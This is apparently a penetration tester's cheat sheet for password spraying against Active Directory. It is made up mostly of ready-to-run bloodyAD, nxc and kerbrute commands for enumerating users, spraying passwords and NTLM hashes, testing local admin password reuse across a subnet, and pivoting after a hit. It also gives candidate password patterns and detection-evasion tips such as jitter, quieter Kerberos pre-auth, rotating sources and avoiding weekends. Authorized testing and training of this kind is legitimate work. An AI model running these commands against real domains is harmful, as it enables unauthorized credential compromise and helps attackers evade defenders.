Password Spraying

Sections Password Spraying

One password, many users. Stay under lockout. Get creds.

DC=10.10.11.50
DOMAIN=corp.local

i. Lockout policy FIRST

Spray without checking lockout = locked accounts = client incident. Always read the policy.

bloodyAD (read directly from domain object):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object "DC=corp,DC=local" \
  --attr minPwdLength,lockoutThreshold,lockOutObservationWindow,lockoutDuration,maxPwdAge,minPwdAge

Output keys to read:

  • lockoutThreshold - failed attempts before lockout (0 = no lockout, the dream)
  • lockOutObservationWindow - time window for counting failures (negative number, divide by -600,000,000 for minutes)
  • lockoutDuration - how long the account stays locked
  • minPwdLength - informs password choices

nxc shortcut:

nxc ldap $DC -u $USER -p $PASS --pass-pol
nxc smb $DC -u $USER -p $PASS --pass-pol

Pre-auth: if lockoutThreshold is 0, spray freely. If it’s 5, spray at most 4 attempts per user per window. Always leave a margin of 1.

Fine-Grained Password Policies (PSO)

The default domain policy can be overridden per-group by PSOs. nxc has a module for this:

nxc ldap $DC -u $USER -p $PASS -M pso

Check before spraying privileged users, they often have stricter lockout.

ii. Build a user list

If you don’t have creds yet, kerbrute-enum first:

kerbrute userenum -d $DOMAIN --dc $DC /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -o users.valid

With creds:

nxc ldap $DC -u $USER -p $PASS --users-export users.txt
## or via LDAP filter for active accounts only (exclude disabled, exclude machine accounts):
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
  --filter '(&(objectClass=user)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  --attr samaccountname > users.raw
grep -i samaccountname users.raw | awk '{print $NF}' > users.txt

iii. nxc spray

The default behavior is “exit on first success”. For spraying you almost always want --continue-on-success.

Single password, many users:

nxc smb $DC -u users.txt -p 'Winter2024!' --continue-on-success

Multiple passwords against one user (brute force, only when no lockout):

nxc smb $DC -u Administrator -p passwords.txt --continue-on-success

One-to-one user:password matching (creds from a breach, no permutation):

nxc smb $DC -u users.txt -p passwords.txt --no-bruteforce --continue-on-success

NTLM hash spray (PtH against multiple users):

nxc smb $DC -u users.txt -H 8846f7eaee8fb117ad06bdd830b7586c --no-bruteforce --continue-on-success

Throttle to dodge detection (random 2-5 second delay between attempts):

nxc smb $DC -u users.txt -p 'Winter2024!' --jitter 2-5 --continue-on-success
## Hardcoded 3-second delay:
nxc smb $DC -u users.txt -p 'Winter2024!' --jitter 3 --continue-on-success
Auth throttling is per-host

If you spray multiple DCs with the same user list, each DC counts failures independently. Same user, two failed attempts on two DCs = two failures across the domain (DC replicates lockout counters in modern AD), but jitter is local to your run, not domain-aware. Slow down.

iv. Pick the protocol

Some protocols don’t fail-lock the account on bad password:

  • kerberos (kerbrute) - pre-auth failures DO count toward lockout in modern AD, but the logs are cleaner
  • smb - counts toward lockout, generates 4625 events
  • ldap - counts toward lockout
  • winrm - counts toward lockout, often less monitored
  • rdp - counts toward lockout, very noisy in logs

When in doubt, use Kerberos (kerbrute). Pre-auth errors are quieter than 4625 SMB events.

kerbrute passwordspray:

kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!'
## With delay (seconds):
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!' --delay 1000
## Output to file:
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Winter2024!' -o spray.out
User format matters

kerbrute wants samaccountname only (no domain prefix). nxc accepts both user and domain\user. Strip domain prefixes before feeding into kerbrute.

v. Password candidates

Without intel, common patterns in 2026 enterprises:

  • Season + Year + !Winter2025!, Summer2026!, Spring2024!
  • Company + 123Acme123!, Contoso2024
  • Welcome + YearWelcome2025!, Welcome123!
  • Password + NPassword123, Password1!
  • <Domain shortname>1 → for corp.local, try Corp1!, Corp2024!
  • The min password length + 1 capital + 1 number + 1 special is the lowest-effort policy compliance

With intel from descriptions, comments, GPP:

nxc ldap $DC -u $USER -p $PASS --get-desc-users
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get search \
  --filter '(description=*)' --attr samaccountname,description | grep -iE 'pass|temp|init|defaul'

vi. Reused passwords across local + domain

Once you have a domain password, spray it as a LOCAL account too. Admins often reuse:

nxc smb 10.10.11.0/24 -u Administrator -p 'CrackedPass1!' --local-auth --continue-on-success

This finds every machine where the local Administrator password equals the cracked domain password. Without LAPS, this is shockingly common.

vii. Reverse spray (one user, many hashes)

When you have a single high-value username and a database of leaked hashes:

nxc smb $DC -u Administrator -H hashes.txt --no-bruteforce --continue-on-success

Useful when you found a hash dump (an old breach DB, a cache file) and want to test all hashes against one privileged account.

viii. After a hit

Mark the user owned, re-collect BloodHound, check what new paths open up:

nxc smb $DC -u found_user -p 'FoundPass!' --shares
nxc winrm $DC -u found_user -p 'FoundPass!'
bloodyAD -d $DOMAIN -u found_user -p 'FoundPass!' --host $DC get writable --bh

Then spray that password against the rest of the domain:

nxc smb $DC -u users.txt -p 'FoundPass!' --continue-on-success

Reuse is the rule, not the exception. If one user has password X, expect 5-10 more to share it.

ix. OpSec

  • Every failed login is a 4625 (interactive) or 4771 (Kerberos pre-auth fail) event on the DC
  • Spray slowly, one password per user per lockout-window-minus-margin
  • Use kerbrute when possible, less noisy than nxc on SMB
  • Rotate sources if you can pivot through multiple hosts
  • Avoid spraying weekends, traffic anomalies stand out more
  • On HTB and labs, lockout is usually disabled, fire as fast as you want